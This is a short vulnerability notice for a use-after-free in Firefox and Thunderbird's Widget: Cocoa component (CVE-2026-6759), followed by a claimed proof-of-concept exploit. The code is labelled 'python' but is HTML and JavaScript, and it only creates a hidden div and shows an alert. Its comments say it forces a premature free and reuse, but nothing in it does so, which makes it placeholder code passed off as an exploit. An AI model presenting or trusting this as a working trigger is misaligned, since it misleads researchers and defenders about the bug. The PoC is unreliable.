Use-after-free in the Widget: Cocoa component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<html>
<!-- PoC for CVE-2026-6759: Use-after-free in Widget: Cocoa -->
<!-- This script attempts to trigger the vulnerability by manipulating DOM elements -->
<body>
<script>
function triggerExploit() {
// Attempt to trigger the UAF condition in the Cocoa Widget
// Note: Actual exploitation requires specific memory layout
var target = document.createElement("div");
// Simulate the event flow that causes the race condition
target.style.display = "none";
document.body.appendChild(target);
// Manipulate object to force premature free and reuse
alert("Checking vulnerability status...");
}
triggerExploit();
</script>
</body>
</html>